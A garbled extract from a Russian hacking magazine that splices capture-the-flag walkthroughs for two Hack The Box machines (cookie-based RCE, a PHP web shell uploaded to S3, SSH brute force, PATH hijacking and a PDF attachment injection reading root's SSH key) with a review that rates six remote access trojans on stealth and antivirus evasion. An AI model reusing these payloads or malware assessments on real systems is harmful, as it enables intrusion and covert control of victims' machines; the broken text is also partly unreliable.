Пос ле  выпол нения  это го  кода мы  получим  cookie,  с  помощью  которых  соз‐ 
дадим бэк коннект.

curl       ‐k 'https://git.laboratory.htb/users/sign_in' ‐b
"experimentation_subject_id=BAhv...‐‐...be65"

По луче ние бэк коннек та

Что бы  получить  инте рак тивный  реверс‐шелл,  про дуб лиру ем  бэк коннект
из уже соз данно го.

ПРОДВИЖЕНИЕ
Пос коль ку мы име ем дело с GitLab, пер вым делом про веря ем репози тории.
Для удобс тва бэкапим, заг ружа ем на свой хост, а там уже ана лизи руем.

gitlab‐backup 

Соз дание бэкапа GitLab

Мое  вни мание  сра зу  прив лек  репози торий  с  кри чащим  наз вани ем 
  поль зовате ля  .  Пос ле  заг рузки  архи ва  на  свой  хост

находим в нем ключ SSH.

se‐
curewebsite dexter

Прос мотр содер жимого репози тория

За даем это му клю чу нуж ные пра ва и уже можем под клю чить ся по SSH.

chmod 0600 id_rsa 
ssh ‐i id_rsa dexter@laboratory.htb 

То кен поль зовате ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Те перь  в  ход  идут  скрип ты  ,  которые  помога ют  най ти  путь  для  даль‐ 
нейше го  прод вижения.  Запус каем  на  хос те  LinPEAS  и  находим  при ложе ние
с выс тавлен ным битом SUID.

PEASS

Об наружен ный файл docker‐security с выс тавлен ным битом SUID

Ког да  у  фай ла  уста нов лен  атри бут  setuid,  обыч ный  поль зователь,  запус‐ 
кающий этот файл на исполне ние, получа ет повыше ние прав до поль зовате‐ 
ля‐вла дель ца фай ла (в дан ном слу чае  ) в рам ках запущен ного про цес са.root

Пос ле получе ния повышен ных прав при ложе ние может выпол нять задачи,
выпол нение  которых  обыч ному  поль зовате лю  недос тупно. В  базе GTFOBins
это го фай ла не находим, поэто му пос мотрим, исполь зует ли это при ложе ние
еще какие‐нибудь вызовы.

INFO

 — база дво ичных фай лов Unix, которые
мож но исполь зовать для обхо да локаль ных огра‐ 
ниче ний  безопас ности  в  неп равиль но  нас тро‐ 
енных сис темах.

GTFOBins

Что бы пос мотреть  вызовы,  которые при ложе ние дела ет  к  общим биб лиоте‐ 
кам, исполь зуем  .ltrace

Об щие вызовы docker‐security

Из вывода   видим, что при вызове коман ды   ука зыва ется непол‐ 
ный  путь  к  фай лу  прог раммы.  А  это  зна чит,  что  сис тема  будет  пооче ред но
искать  этот  файл  в  каж дой  из  дирек торий,  которые  ука заны  в  перемен ной
окру жения  .

ltrace chmod

PATH
С  помощью  коман ды    мы  можем  дописать  в  начало  перемен ной

путь к любой сво ей дирек тории, тог да сис тема сна чала выпол нит тот  ,
который будет там рас положен. В этот файл мы запишем какой угод но свой
код.  К  при меру,  вызов  .  Это  даст  нам  кон соль  в  кон тек сте  root.  Этот
метод известен как path hijacking.

export
chmod

bash

Cоз даем  свой  шелл  в  дирек тории    и  называ ем  chmod,  пос ле  чего
добавим  дирек торию    в  перемен ную  сре ды  ,  что бы  при  вызове
коман ды chmod выпол нился наш файл.

/tmp
/tmp PATH

Экс плу ата ция path hijacking

Пос ле выпол нения docker‐security мы получим при виле гиро ван ную кон соль.

То кен root

Ма шина зах вачена, у нас есть пол ный кон троль над ней.

mailto:hackerralf8@gmail.com
https://about.gitlab.com/
https://www.exploit-db.com/
https://www.kali.org/
https://hackerone.com/reports/827052
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/ncat
https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
https://gtfobins.github.io/
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ВЗЛОМ

Ча ще  все го  для  управле ния  взло ман ными  сис темами
исполь зуют ся тро яны уда лен ного дос тупа. Подоб ных инс тру‐ 
мен тов мно жес тво, и в этой статье я покажу в дей ствии сра зу
шесть  популяр ных  «рат ников»,  которы ми  поль зуют ся  зло‐ 
умыш ленни ки.

WARNING

Не сан кци они рован ный  дос туп  к  компь ютер ной
информа ции — прес тупле ние. Ни автор, ни редак‐ 
ция  жур нала  не  несут  ответс твен ности  за  твои
дей ствия. Все тес ты про води лись на изо лиро ван‐ 
ных от реаль ных дан ных вир туаль ных машинах.

Вот спи сок рат ников, которые мы сегод ня поп робу ем:
Cerberus 1.03.5;•
CyberGate 1.07.5;•
DarkComet 5.3;•
Orcus Rat 1.9.1;•
NjRat Danger Edition 0.7D;•
Venom 2.1.•

Для некото рого изу чения бил дов наших рат ников я буду исполь зовать Detect
It Easy вер сии 3.01.

Оце нивать их будем по сле дующим кри тери ям:
на бор пред лага емых фун кций;•
ско рость раз верты вания в целевой сис теме;•
наг рузка на компь ютер жер твы;•
уро вень защиты кода бил да (поп робу ем раз ревер сить билд);•
про вер ка на VirusTotal;•
плю сы и минусы в целом.•

А теперь прис тупим к ана лизу.

CERBERUS

Интересные функции
Из менение язы ка•
Под держи вает раз личные фор маты на выходе ( )• .pif, .com, .src, .bat, .cmd
Есть  воз можность  добавить  зву ки  при  запус ке  (как  дос тупные  по  умол‐ 
чанию, так и свои)

•

Описание
Ско рость  работы  высокая:  на  все  про  все  наг рузке  тре бует ся  око ло  пяти
секунд. При работе занима ет 7,3 Мбайт памяти и прак тичес ки не наг ружа ет
про цес сор.

Про буем  заг рузить  билд  в  DiE.  Виден  Borland  Delphi  и  UPX,  на  который
как раз и руга ются некото рые анти виру сы.

Про вер ка на VirusTotal

Вердикт
Cerberus хорошо под ходит для дол говре мен ного пре быва ния в сис теме. Его
про ще под сунуть жер тве из‐за воз можнос ти менять рас ширение фай ла.

Из минусов — рас познать Windows 10 при работе он не смог, ну и анти‐ 
виру сами  палит ся  при лич но,  так  что  при дет ся  крип товать.  Ком пилятор
малость  уста рел,  а  при  запус ке  он  вне зап но  изда ет  звук,  который  совер‐ 
шенно не спо собс тву ет незамет ному зараже нию.

CYBERGATE

Интересные функции
Сбор све дений об активной сес сии•
Поз воля ет искать дан ные на устрой ствах•
Име ется рас ширен ный объ ем получа емых дан ных в панели•

Описание
За пуск и зак репле ние бил да занима ет око ло 25 с — мед ленно, даже по срав‐ 
нению  с  тем же Cerebrus.  Наг рузка  на  сис тему  нес коль ко  выше,  чем  у  кон‐ 
курен тов;  к  тому  же  при  запус ке  он  соз дает  нес коль ко  про цес сов  и  виден
в дис петче ре задач. Пот ребля ет 0,1% про цес сора и 4,2 Мбайт памяти. Наг‐ 
ружа ет диск на 100 Кбайт/с.

С  защитой  все  стран но:  билд  даже  не  пыта ется  скрыть  очень  боль шое
количес тво  импорти руемых  биб лиотек  и  фун кций  из  них.  Обфуска ции
вызовов WinAPI нет, что не может не удив лять.

Пос ле ска зан ного выше детект 64/70 (91,4%) сов сем не удив ляет, но при
про вер ке  этой  кры сы  на  VirusTotal  толь ко  один  из  70  анти виру сов  (eGambit)
смог уста новить точ ное про исхожде ние вируса.

Пол ные резуль таты ска ниро вания

Вердикт
Да,  билд  палит ся  всем  чем  толь ко  мож но,  но  прост  как  пал ка  и  легок
в исполь зовании. Но и вырубить его лег ко, он не будет осо бен но соп ротив‐ 
лять ся.

DARKCOMET

Интересные функции
Име ется два режима сбор ки вируса (минималь ный и рас ширен ный)•
Есть  фун кция  под клю чения  сокетов  (можем  проб расывать  под клю чения
для повыше ния безопас ности)

•

Мож но зап ланиро вать дей ствия•
Поз воля ет соз дать ссыл ку‐заг рузчик для вируса•

Описание
Сбор ка  бил да  тре бует  боль ше  минуты,  что  силь но  боль ше  обыч ного
для такого соф та. Пос ле запус ка бил да пот ребля ется 2,7 Мбайт ОЗУ, что сов‐ 
сем хорошо на фоне око лону лево го пот ребле ния осталь ных ресур сов.

Билд  сно ва  не  нак рыт  никаким  про тек торами  или  упа ков щиками.
В  импортах  сра зу  замет на  user32.dll,  из  которой  импорти руют ся  модули

 и  , и, конеч но, фун кция  , которые поз воля ют сде лать
кей лог гер.
mouse keybd VkKeyScanA

INFO

О том, как сде лать свой кей лог гер, читай в статье
«

».
Кей лог гер по‐домаш нему. Пишем на C# кей лог‐ 
гер, который не палит ся анти виру сами
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Вердикт
Ни один анти вирус не понял, что перед ним «Комета». Впро чем, начин ка бил‐ 
да  вся  тор чит  наружу,  так  что  силь но  рас простра нять  такие  прог раммы
не  сто ит,  хоть  и  кас томиза ция  здесь  пол ная.  Да  и  вре мя  сбор ки  бил да
не раду ет.

ORCUS RAT

Интересные функции
Мо жет соз давать сто рон ние про цес сы для отвле чения вни мания•
Спо собен  соз давать  рес павнер  при  уда лении  наг рузки  из  сис темы
или наруше нии его работы

•

Под держи вает пла гины•

Описание
Ско рость  работы  высокая:  собира ется  за  десять  секунд.  Пот ребля‐ 
ет 15,6 Мбайт опе ратив ки и ничем не наг ружа ет комп жер твы.

Код неп лохо зашиф рован, но все рав но наружу тор чит .NET Framework 2.0.
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Вердикт
Шту ка в целом очень неп лохая, раз ве что тре бует шиф рования, как, впро чем,
и все осталь ные сегод няшние подопыт ные. Из плю сов — име ет кучу допол‐ 
нений  для  более  успешной  работы.  Может  тран сли ровать  кар тинку
с веб‐камеры.

Мно гие  анти виру сы,  к  при меру  AhnLab‐V3,  обна ружи вают  Orcus  Rat,
а защиты от это го тол ком нет. Так же он тре бует дли тель ной нас трой ки, а без
пла гинов фун кци ональ ность замет но огра ниче на.

NJRAT

Интересные функции
Вык лючение при акти вации опре делен ного про цес са•
Стри минг экра на жер твы•
За щита хос та и пор та обратно го под клю чения•
Зап рет на уда ление прог раммы•
От клю чение дис петче ра задач•

Описание
Сбор  бил да  занима ет  ров но  десять  секунд.  Наг рузка  на  сис тему‐жер тву
очень силь ная: про цес сор занят на 18%, что силь но выда ет вирус.

Соз дано  это  доб ро  на  .NET  Framework.  На  нем  работа ют  мно гие  сов‐ 
ремен ные вирусы, так что ничего уди витель ного в этом нет.

Из сек ции импорта взять ничего нель зя — впро чем, на то это и .NET.
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Про вер ка анти вирус ными ска нера ми показа ла резуль тат луч ше, чем у прош‐ 
лых сем плов, но для боево го широко мас штаб ного при мене ния это все рав но
не годит ся (к тому же мы догова рива лись так не делать, пом нишь?).

Вердикт
Трой  доволь но  инте рес ный:  хорошо  про рабо тан,  его  сла бо  детек тят  анти‐ 
виру сы,  в  сети  есть  исходни ки, фун кций — мно жес тво. Соеди нение  с C&C‐
сер вером зашиф ровано — еще один плю сик этой «кры се».

Есть  у  NjRat  и  проб лемы:  в  час тнос ти,  отно ситель но  высокая  наг рузка
на  сис тему  жер твы  и  те  же  самые  откры тые  исходни ки,  которые  ука заны
как  пре иму щес тво.  Дело  в  том,  что  из‐за  этой  осо бен ности  анти виру сы
в целом обна ружи вают его эффектив нее, чем зак рытые тро яны, но в любом
слу чае без шиф рования рас простра нять такого рода софт не сле дует.

INFO

О  том,  как  попада ются  рас простра ните ли
вирусов,  читай  в  статье  «

». Рекомен дуем с ней озна‐ 
комить ся, преж де чем вбить в поис ковик «ска чать
njrat».

Не  пались!  Как  вычис‐ 
ляют вирусо писа телей

VENOM

Интересные функции
Воз можность выг рузить билд на AnonFile•
Воз можность добавить офи циаль но выг лядящий уста нов щик (будет отоб‐ 
ражать ся окно уста нов ки с фаль шивой лицен зией)

•

Воз можность модифи циро вать сам тро ян•
Соз дание рут кита•
Мож но  задать  ник  устрой ству,  которое  заразит  вирус  (отоб ража ется
в админке)

•

Описание
На всю под готов ку и сбор ку ухо дит око ло 20 с. Билд занима ет 9 Мбайт опе‐ 
ратив ки у жер твы и сис тему прак тичес ки не наг ружа ет.

На писан  он  сно ва  на  .NET,  и  сно ва  никаких  упа ков щиков  —  впро чем,
как обыч но, но кода с ходу не видать.
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Де тект еще нем ного мень ше, чем у NjRat, но для мас штаб ного исполь зования
сно ва понадо бит ся крипт.

Вердикт
В целом этот  трой — наибо лее  успешный из сегод ня рас смот ренных, и его
мож но  экс плу ати ровать  для  дли тель ной  работы.  Наг рузку  мож но  лег ко
модифи циро вать  под  свои  нуж ды.  Так же  он  наибо лее  скрыт ный  сре ди  всех
кон курен тов,  и  ничего  кон крет ного  о  нем  не  может  ска зать  ни  один  анти‐ 
вирус. Есть все го один, но сущес твен ный минус — Venom пол ностью плат ный,
но это оста нав лива ет не всех.

ИТОГИ
Ко неч но,  мы  не  рас смот рели  даже  десятой  час ти  рас простра нен ных  рат‐ 
ников —  их  поп росту  слиш ком  мно го!  Есть,  к  при меру,  модифи циро ван ные
кли енты TeamViewer и AnyDesk, которые исполь зуют ся в тех же целях. Впро‐ 
чем,  если  ты  зна ешь  зас лужива ющий  вни мание  RAT,  который  мы  упус тили,
рас ска жи об этом в ком мента риях!

mailto:vlad.klintov@mail.ru
https://xakep.ru/2019/03/15/diy-keylogger/
https://xakep.ru/2019/04/15/lurking-in-the-shadows/
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ВЗЛОМ

Се год ня  мы  прой дем  машину  сред ней
слож ности  с  пло щад ки  .
По  дороге  ты  научишь ся  получать  и  соз‐ 
давать  дан ные  в  базе  DynamoDB,  пос‐ 
мотришь  на  работу  с  бакета ми  Amazon
S3 и научишь ся получать дан ные через вло‐ 
жение  в  PDF,  исполь зуя  уяз вимость  в  кон‐ 
верте ре PDF4ML.

Hack  The  Box

WARNING

Под клю чать ся  к  машинам  с  HTB  рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока‐ 
жешь ся в общей сети с дру гими учас тни ками.

РАЗВЕДКА
Сканирование портов
Пер вым делом я заношу  IP машины (10.10.10.212) в файл   и даю
ей более удоб ный адрес  .

/etc/hosts
bucket.htb

За тем перехо дим к ска ниро ванию пор тов. Я запус каю скрипт, который уже
не раз опи сывал, и ска нирую пор ты в два про хода  (вто рой раз — со скрип‐ 
тами по най ден ным в пер вый раз пор там).

#!/bin/bash
nmap    500   |         1 | 

     |  s/, /
ports=$( ‐p‐ ‐‐min‐rate= $1 grep ^[0‐9] | cut ‐d '/' ‐f
tr '\n' ',' sed  $/ )
nmap     ‐p$ports ‐A $1

Ре зуль тат работы скрип та

По  резуль татам  име ем  два  откры тых  пор та:  22‐й  (служ ба  SSH)  и  80‐й
(веб‐сер вер Apache). На SSH пока сту чать ся рано, пос коль ку у нас нет учет‐ 
ных дан ных. Гораз до пер спек тивнее будет изу чить веб‐сер вер. Вни матель но
осмотрим ся  на  сай те,  так  как,  помимо  точек  вхо да  и  раз ных  уяз вимос тей,
сле дует  собирать  и  дру гую  важ ную  информа цию,  нап ример  име на  поль‐ 
зовате лей,  при меня емые  тех нологии  и  про чие  вещи,  которые  могут  при‐ 
годить ся  в  даль нейшем.  Сам  сайт  на  пер вый  взгляд  кажет ся  прос тень ким,
и на пер вой же стра нице отме тим домен ное имя   (с которым мы
и так уже работа ем), а так же акка унт тех поддер жки support@bucket.htb.

bucket.htb

Глав ная стра ница сай та http://bucket.htb

Заг лядыва ем  в  исходный  код  стра ницы  и  видим  при меча тель ную  осо бен‐ 
ность — исполь зованы  теги для  встав ки  изоб ражений. Фай лы  с  кар тинка ми
заг ружа ются с дру гого домена —  .s3.bucket.htb

Ис ходный код домаш ней стра ницы http://bucket.htb

Зна чит,  на  веб‐сер вере  есть  вир туаль ный  хост    и,  если  мы
хотим  с  ним  работать,  надо  добавить  и  его  в  файл  .  Сра зу  же
можем про верить, что там.

s3.bucket.htb
/etc/hosts

Тес товый зап рос по обна ружен ному адре су

Вмес то HTML с него воз вра щает ся ста тус выпол нения, а зна чит, исполь зует‐ 
ся какая‐то слу жеб ная тех нология (из наз вания под домена пока что ста раем‐ 
ся не делать быс трых выводов).

Сканирование веб-страниц
Од но из пер вых дей ствий при тес тирова нии веб‐при ложе ний — это ска ниро‐ 
вание  сай та  на  наличие  инте рес ных  катало гов  и  фай лов.  Осо бен но
это полез но, ког да натыка ешь ся на тупик, подоб ный тому, в котором мы ока‐ 
зались.  Для  ска ниро вания  мож но  при менять  широко  извес тные  прог раммы

 и  , но я обыч но поль зуюсь более быс трым  . При запус‐ 
ке исполь зуем сле дующие парамет ры:
dirsearch DIRB gobuster

 — ска ниро вание дирек торий и фай лов;• dir

 — количес тво потоков;• ­t []

 — URL‐адрес для ска ниро вания;• ­u []

 — сло варь для перебо ра;• ­w []

 — вре мя ожи дания отве та.• ­­timeout []

   128 
 30s 

gobuster dir ‐t ‐u http://s3.bucket.htb ‐w /usr/share/wordlists/
dirbuster/directory‐list‐lowercase‐2.3‐medium.txt ‐‐timeout

Най ден ные катало ги на http://s3.bucket.htb/

На ходим  все го  два  инте рес ных  катало га.  При  обра щении  к  пер вому  сно ва
получим  ответ  со  ста тусом.  Кста ти,  что бы  копать ся  в  JSON,  мож но  пря мо
в тер минале исполь зовать ути литу  , переда вая ей ответ на зап рос.jq

curl http://s3.bucket.htb/health  | jq 

Пре обра зован ный с помощью jq ответ от http://s3.bucket.htb/health

Об раща ясь к катало гу  , получим редирект на дру гой адрес:shell

http://444af250749d:4566/shell/ 

Ес ли  открыть  его  в  бра узе ре,  мож но  уви деть,  что  это  Amazon  S3.  Что  ж,
теперь никаких сом нений!

Стра ница, получен ная при обра щении к http://s3.bucket.htb/shell

ТОЧКА ВХОДА
Amazon S3
Amazon Simple Storage Service (или S3) — это сер вис для хра нения объ ектов,
полез ный, ког да нуж но лег ко мас шта биру ющееся хра нили ще. Его час то при‐ 
меня ют,  что бы  хра нить  ста тичес кую  часть  сай тов,  ресур сы  мобиль ных  при‐ 
ложе ний,  а  так же  для  хра нения  бэкапов  и  про чих  подоб ных  нужд.  Так же
у Amazon есть своя СУБД клас са NoSQL,  которая хра нит дан ные в фор мате
«ключ — зна чение», она называ ется DynamoDB.

На ша  цель —  получить  дос туп  к  хра нимым  дан ным,  пос коль ку  они  явно
важ ны  для  про хож дения  машины.  По  S3  есть  .
Озна комив шись  с  ней,  ста вим  набор  ути лит  AWS  Command  Line  и  нас тра‐ 
иваем дос туп к хра нили щу.

офи циаль ная  докумен тация

apt sudo  install awscli 
aws configure 

Кон фигура ция AWS CLI

Раз берем ся с задан ными парамет рами.
AWS Access Key ID и AWS Secret Access Key — иден тифика тор клю ча дос‐ 
тупа и сам сек ретный ключ дос тупа. Исполь зуют ся для под писи прог рам‐ 
мных зап росов, которые мы отправ ляем в AWS. Соз дать такой ключ мож но

, но, так как он исполь зует ся толь ко для под писи зап росов, я прос то
взял ID и ключ, пред став ленные в докумен тации.

•

здесь

Default  region  name  —  реги он  AWS,  сер веры  которо го  исполь зовать
по  умол чанию.  Обыч но  это  бли жай ший  к  тебе  реги он,  но,  пос коль ку  он
может быть любым, я вста вил зна чение из докумен тации.

•

Default output  format — фор мат, в  котором будет пре дос тавлен резуль тат
зап роса:  JSON,  YAML,  text,  table.  Так  как  с  помощью    удоб но  читать
JSON, выбира ем его.

•
jq

Те перь,  ког да  заданы  основные  парамет ры  для  работы  с  AWS,  мы  можем
выпол нять зап росы к базе DynamoDB. Как и при работе с любой базой, пер‐ 
вым делом прос мотрим, есть ли дос тупные  таб лицы. В зап росе исполь зуем
сле дующие парамет ры:

 — ука зыва ем в качес тве служ бы DynamoDB;• dynamodb

 — для получе ния спис ка таб лиц;• list­table

 — URL для дос тупа к S3;• ­­endpoint­url

 — не под писывать зап рос.• ­­no­sign­request

aws dynamodb list‐tables ‐‐endpoint‐url http://s3.bucket.htb/ 
‐‐no‐sign‐request | jq 

Таб лицы в базе DynamoDB

В  базе  все го  одна  таб лица —  .  Наз вание  мно гообе щающее:  обыч но
имен но в таких таб лицах хра нят ся учет ные дан ные. Давай получим хра нимые
дан ные  с  помощью  зап роса,  похоже го  на  пре дыду щий,  толь ко  добавим
коман ду  ,  что бы получить  записи,  и  в  парамет ре    ука жем
имя таб лицы.

users

scan ‐‐table‐name

   aws dynamodb scan ‐‐table‐name users ‐‐endpoint‐url http://s3.bucket.
htb/ ‐‐no‐sign‐request | jq 

За писи в базе DynamoDB

По луча ем три пары учет ных дан ных  . Поль зовате ли, ско рее все‐ 
го, не при годят ся, так как они слу жеб ные, а вот пароли всег да полез ны. Таким
обра зом, из DynamoDB мы взя ли все, поэто му перехо дим к S3.

логин:пароль

S3 — это хра нили ще, струк туриро ван ное при помощи «бакетов» (то есть,
по‐рус ски,  «ведер»),  ана логов  папок  с  дос тупом  по  шиф ру  и  клю чу.
С  помощью  той  же  ути литы  awscli  мы  можем  получить  спи сок  бакетов.
Для  это го  в  качес тве  служ бы  ука зыва ем    вмес то    и  переда ем
коман ду  .

s3 dynamodb
ls

 aws s3 ls ‐‐endpoint‐url http://s3.bucket.htb/ ‐‐no‐sign‐request

Дан ные в кор невом бакете S3

В кор невом бакете обна ружим какой‐то файл HTML и еще один бакет — 
,  заг лянем  и  в  него.  Для  обра щения  к  бакету  ука зыва ем  параметр

.

ad‐
server
s3://[бакет]

   aws s3 ls ‐‐endpoint‐url http://s3.bucket.htb/ ‐‐human‐readable
‐‐recursive s3://adserver 

Дан ные бакета adserver

Внут ри  —  стра ница  HTML  и  три  изоб ражения.  По  наз ванию  изоб ражения
мож но догадать ся,  что это  тот самый сайт,  которой мы встре тили ранее. То
есть если мы смо жем помес тить тут какой‐либо код, то смо жем потом к нему
обра тить ся, и код выпол нится на сер вере! Давай напишем прос тень кий PHP
shell, который будет выпол нять при нима емую коман ду.

     <?php echo system($_GET["r"]); ?>

Заг ружа ем его в бакет. Для заг рузки объ ектов вмес то   нуж но исполь зовать
  с  коман дой  ,  так же  ука жем  целевой  бакет,  ключ  и  файл

для сох ранения.

s3
s3api put‐object

aws s3api put‐object ‐‐endpoint‐url http://s3.bucket.htb/ ‐‐bucket 
adserver ‐‐key r.php ‐‐body r.php 

Заг рузка и выпол нение шел ла на PHP

Вы пол нив тес товую коман ду  , узна ем, в кон тек сте какого поль зовате ля
мы работа ем, — это учет ная запись   служ бы веб‐сер вера.

whoami
www‐data

ПРОДВИЖЕНИЕ

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://github.com/maurosoria/dirsearch
https://kali.tools/?p=108
https://github.com/OJ/gobuster
https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html
https://console.aws.amazon.com/iam/
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

Брутфорс пароля
У  нас  есть  три  получен ных  пароля,  и  мы  обя затель но  дол жны  поп робовать
исполь зовать их для каж дого най ден ного поль зовате ля. Спи сок поль зовате‐ 
лей мож но пос мотреть в фай ле  ./etc/passwd

Со дер жимое фай ла /etc/passwd

Та ким обра зом, в сис теме есть все го два поль зовате ля с  кон солью, это мы
опре деля ем по пути к коман дной обо лоч ке   в кон це каж дой стро ки.
Поэто му нам прос то нуж но поп робовать под клю чить ся по SSH от име ни поль‐ 
зовате ля   и переб рать три пароля.

/bin/bash

roy
Для перебо ра учет ных дан ных к SSH я исполь зовал   со сле дующи ми

парамет рами:
hydra

 — имя поль зовате ля;• ­l []

 — файл с пароля ми;• ­P []

 — про токол и адрес хос та.• ssh://bucket.htb

 roy hydra ‐l ‐P passwords.txt ssh://bucket.htb 

Ре зуль тат перебо ра с помощью hydra

И  hydra  опре деля ет  пароль  для  учет ной  записи  .  Авто ризу емся  по  SSH
и  забира ем  флаг  в  фай ле  .  Так  мы  получа ем  управле ние  хос том
от име ни поль зовате ля.

roy
user.txt

Флаг поль зовате ля

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Что бы  понять,  как  прод вигать ся  даль ше,  я  исполь зую  .  Ска‐ 
чива ем вари ант для Linux.

скрип ты  PEASS

wget https://github.com/carlospolop/privilege‐escalation‐awesome‐
scripts‐suite/blob/master/linPEAS/linpeas.sh 

Те перь  заг ружа ем  его  на  уда лен ный  хост.  В  дирек тории  со  скрип том
на локаль ной машине запус тим с помощью   прос той веб‐сер вер. Пос‐ 
ле выпол нения этой коман ды веб‐сер вер будет прос лушивать порт 8000.

python

python3 ‐m http.server 

На целевой машине при помощи   ска чива ем скрипт с локаль ного хос та.
Пос ле заг рузки скрип ту нуж но дать пра во на выпол нение и запус тить его.

wget

wget http://[ip_локального_хоста]:8000/linpeas.sh 
chmod +x linpeas.sh 
./linpeas.sh 

В выводе — мас са дан ных. Вот что инте рес ное уда лось из них выловить:
на хос те уже есть awscli (что неуди витель но), а он может нам при годить ся;•
docker‐proxy запущен от име ни   и исполь зует порт 4556 (вспо мина ем
о редирек те на этот порт на ста дии раз ведки);

• root

на сер вере есть соз данные рутом и дос тупные фай лы.•

Дос тупное прог рам мное обес печение

Спи сок про цес сов

Дос тупные фай лы дру гих поль зовате лей

Да вай взгля нем на код в фай ле  . Если при ходит зап рос типа POST
с парамет ром   и зна чени ем  , то из таб лицы   в S3 Dy‐
namoDB  счи тыва ются  поля    и  затем  ,  зна чение
которо го переда ется в фун кцию   для записи в файл PDF.

index.php
action get_alert alerts

title=Ransomware data
passthru

Здесь  сра зу  воз никла  идея:  так  как  мы  кон тро лиру ем  дан ные,  то  можем
и  соз дать  вло жение  в  PDF.  То  есть,  соз дав  таб лицу  с  нуж ными  полями,  мы
можем  получить  в  качес тве  вло жения  PDF  любой  файл!  А  если  учесть,  что
это дей ствие  выпол няет ся от  име ни  root,  то  получа ется,  что  у  нас есть  воз‐ 
можность про читать совер шенно любой файл в сис теме. Самая инте рес ная
цель в таких слу чаях — при ват ный ключ SSH рута.

Со дер жимое фай ла /var/www/bucket‐app/index.php

Что бы обра тить ся к сай ту через бра узер, нуж но узнать порт, на котором отве‐ 
чает  этот  сайт,  и  затем  тун нелиро вать  соеди нение.  Пос мотрим  нас трой ки
Apache, а имен но дирек тиву VirtualHost в фай ле 

.
/etc/apache2/sites‐avail‐

able/000‐default.conf

Со дер жимое фай ла кон фигура ций Apache

Из нас тро ек узна ем, что нам нужен порт 8000. Давай про кинем этот порт, то
есть  сде лаем  так,  что бы  весь  тра фик,  при ходив ший  на  опре делен ный  порт
локаль ной машины и ухо див ший с него, рет ран сли ровал ся на такой же порт
целево го хос та. Дела ем это с помощью стан дар тно го SSH.

ssh ‐L 8000:127.0.0.1:8000 roy@10.10.10.212 

Поп робу ем обра тить ся к сай ту с локаль ной машины. Для это го выпол ним зап‐ 
рос через бра узер по адре су  .http://127.0.0.1:8000/index.php

Стра ница, получа емая при обра щении к index.php

Тун нель  работа ет,  перехо дим  к  S3.  Нам  нуж но  соз дать  запись,  но  сна чала
зададим кон фигура ции и пос мотрим таб лицы, как это делали рань ше.

Кон фигура ция AWS CLI

Таб лицы в базе DynamoDB

Да вай соз дадим таб лицу, учи тывая при веден ные ранее усло вия:
 — коман да для соз дания таб лицы;• create­table

 — имя соз дава емой таб лицы (нам нуж но  );• ­­table­name [] alerts

 — мас сив атри бутов, опи сыва ющих
схе му  клю чей для  таб лицы и индексов. В дан ном слу чае имя атри бута —

 (так нуж но по усло вию), а тип атри бута — String (S);

• ­­attribute­definitions [],[]

title

  —  зада ет  атри буты,  сос тавля ющие  пер вичный
ключ  для  таб лицы  или  индекса.  В  дан ном  слу чае  это  атри бут  ,
а тип — Hash;

• ­­key­schema  [],[]

title

  —  пред став ляет  под готов ленные
парамет ры про пус кной спо соб ности для ука зан ной таб лицы. Мак сималь‐ 
ное  количес тво  стро го  сог ласован ных  опе раций  чте ния  (

)  и  записи  ( ),  выпол няемых  в  секун ду,
преж де чем DynamoDB вер нет исклю чение  .

• ­­provisioned­throughput  [],[]

ReadCapaci­

tyUnits WriteCapacityUnits

ThrottlingException

 
S   

HASH   
5 

aws dynamodb create‐table ‐‐table‐name alerts ‐‐attribute‐definitions
AttributeName=title,AttributeType= ‐‐key‐schema AttributeName=title,
KeyType= ‐‐provisioned‐throughput ReadCapacityUnits=10,
WriteCapacityUnits= ‐‐endpoint‐url http://127.0.0.1:4566 

Соз дание таб лицы в DynamoDB

Таб лица  успешно  соз дана,  оста лось  запол нить  ее.  Ука жем  в  качес тве  зна‐ 
чения дан ных вло жение, ука зыва ющее на при ват ный ключ рута. Для соз дания
эле мен та  необ ходимо  ука зать  коман ду    и  передать  этот  эле мент
в фор мате JSON как зна чение парамет ра  . Тут нуж но пре дос тавить все
атри буты для пер вично го клю ча. Нап ример, в качес тве   будет переда на
стро ка  (S)  ,  тог да  запись  будет  такая: 

. А в  качес тве дан ных мы переда ем  тег  ,  что
поз волит вста вить вло жение. Это му тегу нуж но ука зать сле дующие парамет‐ 
ры:

put‐item
‐‐item

title
Ransomware {"title":{"S":  "Ran‐

somware"} <pd4ml:attachment>

 — опи сание, будет появ лять ся при наведе нии на икон ку;• description

 — сама икон ка (paperclip — скре поч ка).• icon

В качес тве зна чения тега ука зыва ем путь к фай лу  ./root/.ssh/id_rsa

 

 

aws dynamodb put‐item ‐‐table‐name alerts ‐‐item '{"title":{"S": 
"Ransomware"}, "data": {"S": "<pd4ml:attachment description="ssh‐key.
txt" icon="paperclip">file:///root/.ssh/id_rsa</pd4ml:attachment>"}}'
‐‐endpoint‐url http://127.0.0.1:4566 

Соз дание записи в таб лице alers

Пос ле  соз дания  записи  обра тим ся  к  сай ту  и  переда дим  необ ходимые
парамет ры POST для фор мирова ния докумен та.

curl   ‐X POST ‐d "action=get_alerts" http://127.0.0.1:8000/ 

А теперь откро ем PDF по такому адре су:

http://127.0.0.1:8000/files/result.pdf 

В нем име ется ука затель на наше вло жение, которое мы откры ваем.

Вло жение в PDF‐докумен те

Это  вло жение  будет  содер жать  ключ  SSH  рута.  Его  необ ходимо  сох ранить
в  файл  на  локаль ный  хост  и  наз начить  необ ходимые  для  при ват ного  клю ча
раз решения коман дой  . Пос ле чего мож но под клю чить ся
по SSH от име ни поль зовате ля   с име ющим ся при ват ным клю чом.

chmod 0600 id_rsa
root

Флаг рута

Та ким путем мы зах ватыва ем дан ную машину и име ем над ней пол ный  кон‐ 
троль!

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite


ФЛЕШБЭКИ

FOXPRO
ЛОМАЕМ ПРИЛОЖЕНИЯ НА VFX
И ПОЗНАЕМ СЕКРЕТЫ ЗАЩИТЫ REFOX

МВК

